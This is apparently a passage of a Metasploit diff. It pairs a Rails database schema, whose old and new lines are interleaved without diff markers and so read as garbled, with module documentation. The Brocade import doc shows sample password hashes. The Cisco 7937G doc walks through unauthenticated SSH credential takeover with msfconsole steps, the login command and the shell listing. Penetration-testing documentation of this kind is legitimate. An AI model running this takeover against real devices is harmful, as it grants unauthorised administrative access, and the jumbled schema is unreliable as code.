create_table "profiles", force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.boolean "active", default: true
t.text "name"
t.text "owner"
t.binary "settings"
create_table "profiles", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.boolean "active", default: true
t.text "name"
t.text "owner"
t.binary "settings"
end
create_table "refs", force: :cascade do |t|
t.integer "ref_id"
create_table "refs", id: :serial, force: :cascade do |t|
t.integer "ref_id"
t.datetime "created_at"
t.string "name", limit: 512
t.string "name", limit: 512
t.datetime "updated_at"
t.index ["name"], name: "index_refs_on_name"
end
add_index "refs", ["name"], name: "index_refs_on_name", using: :btree
create_table "report_templates", force: :cascade do |t|
t.integer "workspace_id", default: 1, null: false
t.string "created_by"
t.string "path", limit: 1024
t.text "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
create_table "report_templates", id: :serial, force: :cascade do |t|
t.integer "workspace_id", default: 1, null: false
t.string "created_by"
t.string "path", limit: 1024
t.text "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "reports", force: :cascade do |t|
t.integer "workspace_id", default: 1, null: false
t.string "created_by"
t.string "rtype"
t.string "path", limit: 1024
t.text "options"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
create_table "reports", id: :serial, force: :cascade do |t|
t.integer "workspace_id", default: 1, null: false
t.string "created_by"
t.string "rtype"
t.string "path", limit: 1024
t.text "options"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "downloaded_at"
t.integer "task_id"
t.string "name", limit: 63
t.integer "task_id"
t.string "name", limit: 63
end
create_table "routes", force: :cascade do |t|
create_table "routes", id: :serial, force: :cascade do |t|
t.integer "session_id"
t.string "subnet"
t.string "netmask"
t.string "subnet"
t.string "netmask"
end
create_table "services", force: :cascade do |t|
t.integer "host_id"
create_table "services", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.datetime "created_at"
t.integer "port", null: false
t.string "proto", limit: 16, null: false
t.string "state"
t.string "name"
t.integer "port", null: false
t.string "proto", limit: 16, null: false
t.string "state"
t.string "name"
t.datetime "updated_at"
t.text "info"
t.text "info"
t.index ["host_id", "port", "proto"], name: "index_services_on_host_id_and_port_and_proto", unique: true
t.index ["name"], name: "index_services_on_name"
t.index ["port"], name: "index_services_on_port"
t.index ["proto"], name: "index_services_on_proto"
t.index ["state"], name: "index_services_on_state"
end
add_index "services", ["host_id", "port", "proto"], name: "index_services_on_host_id_and_port_and_proto", unique: true, using: :btree
add_index "services", ["name"], name: "index_services_on_name", using: :btree
add_index "services", ["port"], name: "index_services_on_port", using: :btree
add_index "services", ["proto"], name: "index_services_on_proto", using: :btree
add_index "services", ["state"], name: "index_services_on_state", using: :btree
create_table "session_events", force: :cascade do |t|
t.integer "session_id"
t.string "etype"
t.binary "command"
t.binary "output"
t.string "remote_path"
t.string "local_path"
create_table "session_events", id: :serial, force: :cascade do |t|
t.integer "session_id"
t.string "etype"
t.binary "command"
t.binary "output"
t.string "remote_path"
t.string "local_path"
t.datetime "created_at"
end
create_table "sessions", force: :cascade do |t|
t.integer "host_id"
t.string "stype"
t.string "via_exploit"
t.string "via_payload"
t.string "desc"
t.integer "port"
t.string "platform"
t.text "datastore"
t.datetime "opened_at", null: false
create_table "sessions", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.string "stype"
t.string "via_exploit"
t.string "via_payload"
t.string "desc"
t.integer "port"
t.string "platform"
t.text "datastore"
t.datetime "opened_at", null: false
t.datetime "closed_at"
t.string "close_reason"
t.integer "local_id"
t.string "close_reason"
t.integer "local_id"
t.datetime "last_seen"
t.integer "module_run_id"
t.integer "module_run_id"
t.index ["module_run_id"], name: "index_sessions_on_module_run_id"
end
add_index "sessions", ["module_run_id"], name: "index_sessions_on_module_run_id", using: :btree
create_table "tags", force: :cascade do |t|
t.integer "user_id"
t.string "name", limit: 1024
t.text "desc"
t.boolean "report_summary", default: false, null: false
t.boolean "report_detail", default: false, null: false
t.boolean "critical", default: false, null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "task_creds", force: :cascade do |t|
t.integer "task_id", null: false
t.integer "cred_id", null: false
create_table "tags", id: :serial, force: :cascade do |t|
t.integer "user_id"
t.string "name", limit: 1024
t.text "desc"
t.boolean "report_summary", default: false, null: false
t.boolean "report_detail", default: false, null: false
t.boolean "critical", default: false, null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "task_hosts", force: :cascade do |t|
t.integer "task_id", null: false
t.integer "host_id", null: false
create_table "task_creds", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "cred_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "task_services", force: :cascade do |t|
t.integer "task_id", null: false
t.integer "service_id", null: false
create_table "task_hosts", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "host_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "task_sessions", force: :cascade do |t|
t.integer "task_id", null: false
t.integer "session_id", null: false
create_table "task_services", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "tasks", force: :cascade do |t|
t.integer "workspace_id", default: 1, null: false
t.string "created_by"
t.string "module"
create_table "task_sessions", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "session_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "tasks", id: :serial, force: :cascade do |t|
t.integer "workspace_id", default: 1, null: false
t.string "created_by"
t.string "module"
t.datetime "completed_at"
t.string "path", limit: 1024
t.string "info"
t.string "description"
t.integer "progress"
t.text "options"
t.text "error"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.text "result"
t.string "module_uuid", limit: 8
t.binary "settings"
t.string "path", limit: 1024
t.string "info"
t.string "description"
t.integer "progress"
t.text "options"
t.text "error"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.text "result"
t.string "module_uuid", limit: 8
t.binary "settings"
end
create_table "users", force: :cascade do |t|
t.string "username"
t.string "crypted_password"
t.string "password_salt"
t.string "persistence_token"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "fullname"
t.string "email"
t.string "phone"
t.string "company"
t.string "prefs", limit: 524288
t.boolean "admin", default: true, null: false
create_table "users", id: :serial, force: :cascade do |t|
t.string "username"
t.string "crypted_password"
t.string "password_salt"
t.string "persistence_token"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "fullname"
t.string "email"
t.string "phone"
t.string "company"
t.string "prefs", limit: 524288
t.boolean "admin", default: true, null: false
end
create_table "vuln_attempts", force: :cascade do |t|
t.integer "vuln_id"
create_table "vuln_attempts", id: :serial, force: :cascade do |t|
t.integer "vuln_id"
t.datetime "attempted_at"
t.boolean "exploited"
t.string "fail_reason"
t.string "username"
t.text "module"
t.integer "session_id"
t.integer "loot_id"
t.text "fail_detail"
t.boolean "exploited"
t.string "fail_reason"
t.string "username"
t.text "module"
t.integer "session_id"
t.integer "loot_id"
t.text "fail_detail"
end
create_table "vuln_details", force: :cascade do |t|
t.integer "vuln_id"
t.float "cvss_score"
t.string "cvss_vector"
t.string "title"
t.text "description"
t.text "solution"
t.binary "proof"
t.integer "nx_console_id"
t.integer "nx_device_id"
t.string "nx_vuln_id"
t.float "nx_severity"
t.float "nx_pci_severity"
create_table "vuln_details", id: :serial, force: :cascade do |t|
t.integer "vuln_id"
t.float "cvss_score"
t.string "cvss_vector"
t.string "title"
t.text "description"
t.text "solution"
t.binary "proof"
t.integer "nx_console_id"
t.integer "nx_device_id"
t.string "nx_vuln_id"
t.float "nx_severity"
t.float "nx_pci_severity"
t.datetime "nx_published"
t.datetime "nx_added"
t.datetime "nx_modified"
t.text "nx_tags"
t.text "nx_vuln_status"
t.text "nx_proof_key"
t.string "src"
t.integer "nx_scan_id"
t.text "nx_tags"
t.text "nx_vuln_status"
t.text "nx_proof_key"
t.string "src"
t.integer "nx_scan_id"
t.datetime "nx_vulnerable_since"
t.string "nx_pci_compliance_status"
t.string "nx_pci_compliance_status"
end
create_table "vulns", force: :cascade do |t|
t.integer "host_id"
t.integer "service_id"
create_table "vulns", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.integer "service_id"
t.datetime "created_at"
t.string "name"
t.string "name"
t.datetime "updated_at"
t.string "info", limit: 65536
t.string "info", limit: 65536
t.datetime "exploited_at"
t.integer "vuln_detail_count", default: 0
t.integer "vuln_attempt_count", default: 0
t.integer "origin_id"
t.string "origin_type"
t.integer "vuln_detail_count", default: 0
t.integer "vuln_attempt_count", default: 0
t.integer "origin_id"
t.string "origin_type"
t.index ["name"], name: "index_vulns_on_name"
t.index ["origin_id"], name: "index_vulns_on_origin_id"
end
add_index "vulns", ["name"], name: "index_vulns_on_name", using: :btree
add_index "vulns", ["origin_id"], name: "index_vulns_on_origin_id", using: :btree
create_table "vulns_refs", force: :cascade do |t|
create_table "vulns_refs", id: :serial, force: :cascade do |t|
t.integer "ref_id"
t.integer "vuln_id"
end
create_table "web_forms", force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.text "path"
t.string "method", limit: 1024
t.text "params"
t.text "query"
create_table "web_forms", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.text "path"
t.string "method", limit: 1024
t.text "params"
t.text "query"
t.index ["path"], name: "index_web_forms_on_path"
end
add_index "web_forms", ["path"], name: "index_web_forms_on_path", using: :btree
create_table "web_pages", force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.text "path"
t.text "query"
t.integer "code", null: false
t.text "cookie"
t.text "auth"
t.text "ctype"
create_table "web_pages", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.text "path"
t.text "query"
t.integer "code", null: false
t.text "cookie"
t.text "auth"
t.text "ctype"
t.datetime "mtime"
t.text "location"
t.text "headers"
t.binary "body"
t.binary "request"
t.text "location"
t.text "headers"
t.binary "body"
t.binary "request"
t.index ["path"], name: "index_web_pages_on_path"
t.index ["query"], name: "index_web_pages_on_query"
end
add_index "web_pages", ["path"], name: "index_web_pages_on_path", using: :btree
add_index "web_pages", ["query"], name: "index_web_pages_on_query", using: :btree
create_table "web_sites", force: :cascade do |t|
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "vhost", limit: 2048
t.text "comments"
t.text "options"
create_table "web_sites", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "vhost", limit: 2048
t.text "comments"
t.text "options"
t.index ["comments"], name: "index_web_sites_on_comments"
t.index ["options"], name: "index_web_sites_on_options"
t.index ["vhost"], name: "index_web_sites_on_vhost"
end
add_index "web_sites", ["comments"], name: "index_web_sites_on_comments", using: :btree
add_index "web_sites", ["options"], name: "index_web_sites_on_options", using: :btree
add_index "web_sites", ["vhost"], name: "index_web_sites_on_vhost", using: :btree
create_table "web_vulns", force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.text "path", null: false
t.string "method", limit: 1024, null: false
t.text "params"
t.text "pname"
t.integer "risk", null: false
t.string "name", limit: 1024, null: false
t.text "query"
t.text "category", null: false
t.integer "confidence", null: false
t.text "description"
t.text "blame"
t.binary "request"
t.binary "proof", null: false
t.string "owner"
t.text "payload"
create_table "web_vulns", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.text "path", null: false
t.string "method", limit: 1024, null: false
t.text "params"
t.text "pname"
t.integer "risk", null: false
t.string "name", limit: 1024, null: false
t.text "query"
t.text "category", null: false
t.integer "confidence", null: false
t.text "description"
t.text "blame"
t.binary "request"
t.binary "proof", null: false
t.string "owner"
t.text "payload"
t.index ["method"], name: "index_web_vulns_on_method"
t.index ["name"], name: "index_web_vulns_on_name"
t.index ["path"], name: "index_web_vulns_on_path"
end
add_index "web_vulns", ["method"], name: "index_web_vulns_on_method", using: :btree
add_index "web_vulns", ["name"], name: "index_web_vulns_on_name", using: :btree
add_index "web_vulns", ["path"], name: "index_web_vulns_on_path", using: :btree
create_table "wmap_requests", force: :cascade do |t|
t.string "host"
t.inet "address"
t.integer "port"
t.integer "ssl"
t.string "meth", limit: 32
t.text "path"
t.text "headers"
t.text "query"
t.text "body"
t.string "respcode", limit: 16
t.text "resphead"
t.text "response"
create_table "wmap_requests", id: :serial, force: :cascade do |t|
t.string "host"
t.inet "address"
t.integer "port"
t.integer "ssl"
t.string "meth", limit: 32
t.text "path"
t.text "headers"
t.text "query"
t.text "body"
t.string "respcode", limit: 16
t.text "resphead"
t.text "response"
t.datetime "created_at"
t.datetime "updated_at"
end
create_table "wmap_targets", force: :cascade do |t|
t.string "host"
t.inet "address"
t.integer "port"
t.integer "ssl"
t.integer "selected"
create_table "wmap_targets", id: :serial, force: :cascade do |t|
t.string "host"
t.inet "address"
t.integer "port"
t.integer "ssl"
t.integer "selected"
t.datetime "created_at"
t.datetime "updated_at"
end
create_table "workspace_members", id: false, force: :cascade do |t|
t.integer "workspace_id", null: false
t.integer "user_id", null: false
t.integer "user_id", null: false
end
create_table "workspaces", force: :cascade do |t|
t.string "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "boundary", limit: 4096
t.string "description", limit: 4096
t.integer "owner_id"
t.boolean "limit_to_network", default: false, null: false
t.boolean "import_fingerprint", default: false
create_table "workspaces", id: :serial, force: :cascade do |t|
t.string "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "boundary", limit: 4096
t.string "description", limit: 4096
t.integer "owner_id"
t.boolean "limit_to_network", default: false, null: false
t.boolean "import_fingerprint", default: false
end
end
@@ -1,50 +0,0 @@
## General Notes
This module imports a Brocade configuration file into the database.
This is similar to `post/brocade/gather/enum_brocade` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf).
## Verification Steps
1. Have a Brocade configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/brocade/brocade_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
**RHOST**
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
File path to the configuration file.
## Scenarios
```
msf5 > wget https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf -o /dev/null -O /tmp/brocade.conf
msf5 > use auxiliary/admin/brocade/brocade_config
msf5 auxiliary(admin/brocade/brocade_config) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(admin/brocade/brocade_config) > set config /tmp/brocade.conf
config => /tmp/brocade.conf
msf5 auxiliary(admin/brocade/brocade_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] password-display is enabled, hashes will be displayed in config
[+] enable password hash $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm.
[+] User brocade of type 8 found with password hash $1$f/uxhovU$dST5lNskZCPQe/5QijULi0.
[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro
[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -0,0 +1,450 @@
## Vulnerable Application
[Cisco 7937G](https://www.cisco.com/c/en/us/support/collaboration-endpoints/unified-ip-conference-station-7937g/model.html) Conference Station.
This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7.
### Description
This module exploits a feature that should not be available via the web interface.
An unauthenticated user may set the credentials for SSH access to any username and
password combination desired, giving access to administrative functions through an SSH connection.
## Verification Steps
1. Obtain a Cisco 7937G Conference Station.
2. Enable Web Access and SSH Access on the device.
3. Start msfconsole
4. Do: `use auxiliary/admin/http/cisco_7937g_ssh_privesc`
5. Do: `set RHOSTS 192.168.1.10`
6. Do: `set USER test`
7. Do: `set PASS test`
8. Do: `run`
9. The conference station's SSH service should now be configured with the supplied USER:PASS.
## Options
### PASS
The desired password for setting SSH access
### USER
The desired username for setting SSH access
## Scenarios
### Cisco 7937G Running Firmware Version SCCP-1-4-5-7
#### Successful Scenario
```
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
user => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
pass => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
rhosts => 192.168.110.209
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
[*] Running for 192.168.110.209...
[*] 192.168.110.209 - Attempting to set SSH credentials.
[*] 192.168.110.209 - SSH attack finished!
[*] 192.168.110.209 - Try to login using the supplied credentials test:test
[*] 192.168.110.209 - You must specify the key exchange when connecting or the device will be DoS'd!
[*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(linux/ssh/cve_2020_16137) > exit
user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
test@192.168.110.209's password:
$>help
Commands 1 to 21:
help - Shows basic help for all commands.
echo - Echoes all arguments (arbitrary parameters, up to 9)
psosMaxShow - Show max number of psos objects created.
psosFailuresShow - Show failures of psos api calls.
clearNetStats - Clear statistics counters in Ethernet Driver.
nicheShow - Show statistics of InterNiche stack.
psosIntStackShow - Show information on interrupt stack.
i - Display status of the specified process, or all running processes (Process_name (optional))
checkStack - Checks the stack.
reboot - Reboots the phone with an optional parameter.
logl - Set the lowest log level which will be displayed (0-6)
logs - Set the log level output for a given module ([module] [0-6])
logsa - Set the log level output for all modules. ([0-6])
logt - Set the log display type (0-2)
logd - Dump the log, parameter is reverse order or not.
logda - Print all available log modules and their current level.
setRtRender - Set real time rendering parameters for the log.
lfu - Send the logfiles to the provisioning server(no parameters).
del - Delete specified file.
cat - Concatanate specified files.
Commands 21 to 41:
copy - Copy a file, can be stdout.
ls - List the contents of flash.
ll - List the contents of flash.
d - Display memory. <address>,<num words>,<size words>
m - Display memory. <address>,<size words>
ping - Ping a given host (IP or DNS name) [,Data Len in Bytes]
ifShow - Display ethernet interface statistics (no parameters)
showStoredConfig - Display configuration as stored in flash (no parameters)
showRunningConfig - Display the current running configuration (no parameters)
showBackupConfig - Display backup configuration as stored in flash (no parameters)
overrideBackupConfig - Override backup flash config with current config (no parameters)
overrideSecurityBackup - Override backup security sector with current security sector.
resetConfig - Reset the phone to the default settings(setting type [SPIP],[SPIPCS],[SPIPShoreline])
configDhcpSet - Set DHCP parameters in the flash.
(DHCP Enabled[YES|NO], Offer Timeout, DHCP Option, DHCP Option Type,
Using statically configured boot server[YES|NO])
configDnsSet - Set DNS parameters in the flash. (Primary DNS Server, Secondary DNS Server, DNS Domain)
configNetSet - Set network parameters in the flash.
(IP Address, Subnet Mask, Router, VLAN(can be empty))
configProvisioningSet - Set provisioning server parameters in the flash.
(Server Name, Using server type[FTP|TFTP|HTTP|HTTPS|FTPS], User, Password)
configSntpSet - Set SNTP parameters in the flash. (sntpserverName,sntpgmtOffset)
nslookup - Find the IP for a given hostname
dnsCacheAShow - Show DNS Cache for A records.
Commands 41 to 61:
dnsCacheSrvShow - Show DNS Cache for SRV records.
dnsCacheAFlush - Flush DNS A records from cache.
version - Display vxWorks bootline, software versions, and hardware version.
hwBoardSerialSet - Set serial number. !!!!!Should never be used!!!!!.
hwVarSet - Set the contents of a hardware var ([var ID] [new value])
hwVarShow - Display the contents of a hardware var ([var ID])
simulateKeyPress - Send a key Press event to so like it came from hardware.
simulateKeyHold - Send a key Hold event to so like it came from hardware.
simulateKeyRelease - Send a key Release event to so like it came from hardware.
simulateHookUp - Send a hookswitch event to so like it came from hardware.
simulateHookDown - Send a hookswitch event to so like it came from hardware.
ncasMisc - Show misc. non-call information (no parameters)
ncasCb - Show detailed ncas information, related to either call services,
non-call services, or server information (1, 2, or 3)
uptime - Show phone uptime.
appPrt - Show UI's call status.
fntPrt - Show information about fonts available on phone.
memtop - Shows the top poiter to current memory.
removeScheduledLogEntry - debug
addScheduledLogEntry - debug
fatalError - Simulate fatal error for the phone.
Commands 61 to 81:
enableStrTruncLog - Enable logging of string truncation.
disableStrTruncLog - Disable logging of string truncation.
sendFlashBinImage - Upload binary flash image.
setMac - debug, here because PSOS can't set the MAC.
sg - send a bitmap to the boot server
memShow - Display system memory usage
memDebug - Toggle memory manager trace flag
l2Debug - Toggle memory manager trace flag
wsTest - Web Service Test Tool
fxShow - Display file transfer manager status
utilHostByNameShow - Test utilHostByName
utilDnsShow - Show callbacks for dns queries
dnsCacheShow - Show DNSACacheShow
utilEthLinkShow - Show Ethernet link status
ethConfigTest - Set Ethernet Mode (0 to 4)
timeTest - Test time
contrastChg - Change LCD Contrast
setAdminVlan - Set admin vlan id
setL2Auth - Set L2 Auth Enable/Disable
ipAddrChange - Change ip addr configuration
Commands 81 to 101:
tftpChange - Change tftp addr
arpStats - Print ARP statistics
fxPut - Transfer file to remote
crash - Crash the system
ipAddrShow - Show ip addr
rtosSocketShow - Show rtos socket information
sccpShow - Show protocol
regManagerShow - show registration manager state
uiPrintAll - uiPrintAll
uiPrintSoftKeys - uiPrintSoftKeys
getVoiceQuality - displays voice quality control status
uiPrintLocalSoftKeys - uiPrintLocalSoftKeys
uiStartTone - uiStartTone
uiStopTone - uiStopTone
pegPrintAll - pegPrintAll
uiSMPrintAll - uiStateMachinePrintAll
lldpSMPrintAll - lldpStateMachinePrintAll
saveLogLevels - saveLogLevels
localePrintAll - localePrintAll
ceShow - Show Client Engine Status
Commands 101 to 121:
udiShow - Show Unique Device Indentifier
show - Show Unique Device Indentifier
pbnShow - Display app & bootrom headers
upr - Upgrade to a Rockpile Standalone Image
upm - Upgrade to a Rockpile Manf Image
setHw - Sets the Rockpile Hardware Id
getHw - Prints the Rockpile Hardware Id
setUpf - Sets the Upgrade progress flag
rstUpf - Resets the Upgrade progress flag
setMdm - Sets the Manf diag mode flag
rstMdm - Resets the Manf diag mode flag
setDhcp - Sets the Manf diag dhcp flag
rstDhcp - Resets the Manf diag dhcp flag
setOrd - Sets the ORD flag
rstOrd - Resets the ORD flag
fs - Prin the status of rockpile flags
cp - Mfg. test diags
vol - Mfg. test diags
sig - Mfg. test diags
os - Mfg. test diags
Commands 121 to 141:
lcd - Mfg. test diags
sum - Prints checksums of flash images
rd - Mfg. test diags
wr - Mfg. test diags
eth - Start/stop ethernet hardware
fstp - Stop FGPIO interface
hfTxEq - Audio testing for large conf rooms
ctConv - perform ct convergence test.
ctModeEnd - terminate ctMode
ctEnableRx - Enable ctRx 1 on, 0 off
ctEnableTx - Enable ctTx 1 on, 0 off
ctMicTx - Route mic # to Tx
ctEMTx - Route external mic # to Tx
ctSineTx - [chan], [freq], [dBm]: Generate tone to Tx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
ctRxSpkr - Send directly to HF speaker
ctSineSpkr - [chan], [freq], [dBm]: Generate tone to Rx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
ctNoiseSpkr - [chan], [dBm]: Generate noise to Rx (0 => HD, 1 => HF, default HF, -40dBm)
displayListeningPorts - Display listening port and process info
killListeningProcess - Kill the task associated with the port
$>exit
```
#### Unsuccessful Scenario
```
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
user => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
pass => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
rhosts => 192.168.110.209
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
[*] Running for 192.168.110.209...
[*] 192.168.110.209 - Attempting to set SSH credentials.
[-] 192.168.110.209 - Device doesn't appear to be functioning or web access is not enabled.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Cisco 7937G Running Firmware Version SCCP-1-4-5-5
#### Successful Scenario
```
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
user => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
pass => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
rhosts => 192.168.110.209
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
[*] Running for 192.168.110.209...
[*] 192.168.110.209 - Attempting to set SSH credentials.
[*] 192.168.110.209 - SSH attack finished!
[*] 192.168.110.209 - Try to login using the supplied credentials test:test
[*] 192.168.110.209 - You must specify the key exchange when connecting or the device will be DoS'd!
[*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(linux/ssh/cve_2020_16137) > exit
user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
test@192.168.110.209's password:
$>help
Commands 1 to 21:
help - Shows basic help for all commands.
echo - Echoes all arguments (arbitrary parameters, up to 9)
psosMaxShow - Show max number of psos objects created.
psosFailuresShow - Show failures of psos api calls.
clearNetStats - Clear statistics counters in Ethernet Driver.
nicheShow - Show statistics of InterNiche stack.
psosIntStackShow - Show information on interrupt stack.
i - Display status of the specified process, or all running processes (Process_name (optional))
checkStack - Checks the stack.
reboot - Reboots the phone with an optional parameter.
logl - Set the lowest log level which will be displayed (0-6)
logs - Set the log level output for a given module ([module] [0-6])
logsa - Set the log level output for all modules. ([0-6])
logt - Set the log display type (0-2)
logd - Dump the log, parameter is reverse order or not.
logda - Print all available log modules and their current level.
setRtRender - Set real time rendering parameters for the log.
lfu - Send the logfiles to the provisioning server(no parameters).
del - Delete specified file.
cat - Concatanate specified files.
Commands 21 to 41:
copy - Copy a file, can be stdout.
ls - List the contents of flash.
ll - List the contents of flash.
d - Display memory. <address>,<num words>,<size words>
m - Display memory. <address>,<size words>
ping - Ping a given host (IP or DNS name) [,Data Len in Bytes]
ifShow - Display ethernet interface statistics (no parameters)
showStoredConfig - Display configuration as stored in flash (no parameters)
showRunningConfig - Display the current running configuration (no parameters)
showBackupConfig - Display backup configuration as stored in flash (no parameters)
overrideBackupConfig - Override backup flash config with current config (no parameters)
overrideSecurityBackup - Override backup security sector with current security sector.
resetConfig - Reset the phone to the default settings(setting type [SPIP],[SPIPCS],[SPIPShoreline])
configDhcpSet - Set DHCP parameters in the flash.
(DHCP Enabled[YES|NO], Offer Timeout, DHCP Option, DHCP Option Type,
Using statically configured boot server[YES|NO])
configDnsSet - Set DNS parameters in the flash. (Primary DNS Server, Secondary DNS Server, DNS Domain)
configNetSet - Set network parameters in the flash.
(IP Address, Subnet Mask, Router, VLAN(can be empty))
configProvisioningSet - Set provisioning server parameters in the flash.
(Server Name, Using server type[FTP|TFTP|HTTP|HTTPS|FTPS], User, Password)
configSntpSet - Set SNTP parameters in the flash. (sntpserverName,sntpgmtOffset)
nslookup - Find the IP for a given hostname
dnsCacheAShow - Show DNS Cache for A records.
Commands 41 to 61:
dnsCacheSrvShow - Show DNS Cache for SRV records.
dnsCacheAFlush - Flush DNS A records from cache.
version - Display vxWorks bootline, software versions, and hardware version.
hwBoardSerialSet - Set serial number. !!!!!Should never be used!!!!!.
hwVarSet - Set the contents of a hardware var ([var ID] [new value])
hwVarShow - Display the contents of a hardware var ([var ID])
simulateKeyPress - Send a key Press event to so like it came from hardware.
simulateKeyHold - Send a key Hold event to so like it came from hardware.
simulateKeyRelease - Send a key Release event to so like it came from hardware.
simulateHookUp - Send a hookswitch event to so like it came from hardware.
simulateHookDown - Send a hookswitch event to so like it came from hardware.
ncasMisc - Show misc. non-call information (no parameters)
ncasCb - Show detailed ncas information, related to either call services,
non-call services, or server information (1, 2, or 3)
uptime - Show phone uptime.
appPrt - Show UI's call status.
fntPrt - Show information about fonts available on phone.
memtop - Shows the top poiter to current memory.
removeScheduledLogEntry - debug
addScheduledLogEntry - debug
fatalError - Simulate fatal error for the phone.
Commands 61 to 81:
enableStrTruncLog - Enable logging of string truncation.
disableStrTruncLog - Disable logging of string truncation.
sendFlashBinImage - Upload binary flash image.
setMac - debug, here because PSOS can't set the MAC.
sg - send a bitmap to the boot server
memShow - Display system memory usage
memDebug - Toggle memory manager trace flag
l2Debug - Toggle memory manager trace flag
wsTest - Web Service Test Tool
fxShow - Display file transfer manager status
utilHostByNameShow - Test utilHostByName
utilDnsShow - Show callbacks for dns queries
dnsCacheShow - Show DNSACacheShow
utilEthLinkShow - Show Ethernet link status
ethConfigTest - Set Ethernet Mode (0 to 4)
timeTest - Test time
contrastChg - Change LCD Contrast
setAdminVlan - Set admin vlan id
setL2Auth - Set L2 Auth Enable/Disable
ipAddrChange - Change ip addr configuration
Commands 81 to 101:
tftpChange - Change tftp addr
arpStats - Print ARP statistics
fxPut - Transfer file to remote
crash - Crash the system
ipAddrShow - Show ip addr
rtosSocketShow - Show rtos socket information
sccpShow - Show protocol
regManagerShow - show registration manager state
uiPrintAll - uiPrintAll
uiPrintSoftKeys - uiPrintSoftKeys
getVoiceQuality - displays voice quality control status
